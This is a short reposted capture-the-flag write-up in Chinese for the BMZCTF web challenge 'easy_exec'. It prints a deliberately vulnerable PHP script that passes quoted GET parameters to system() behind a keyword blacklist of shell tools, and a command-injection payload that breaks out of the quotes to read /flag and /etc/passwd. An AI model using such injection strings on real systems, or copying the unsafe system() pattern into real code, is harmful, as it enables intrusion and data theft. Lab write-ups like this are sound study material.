BMZCTF-WEB-easy_exec
Posted TzZzEZ-web
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BMZCTF-WEB-easy_exec相关的知识,希望对你有一定的参考价值。
easy_exec
主页显示nofile。
尝试使用dirsearch扫描一下。
扫描发现两个文件。
查看de.php。
显示着一段php代码。
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\\'|\\`|\\\\|\\*|\\n|\\t|\\xA0|\\r|\\{|\\}|\\(|\\)|<|\\&[^\\d]|@|\\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$file1 = "";
if(preg_match("/\\'|\\"|;|,|\\`|\\*|\\\\|\\n|\\t|\\r|\\xA0|\\{|\\}|\\(|\\)|<|\\&[^\\d]|@|\\||ls|\\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$file2 = "";
$flag = "#flag in fllllag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
前面一大堆过滤,看到最后cmd参数,直接使用两个双引号进行闭合。
构建payload:
/?comm1=/flag";cat /flag;"&comm2=/etc/passwd
得到flag。
以上是关于BMZCTF-WEB-easy_exec的主要内容,如果未能解决你的问题,请参考以下文章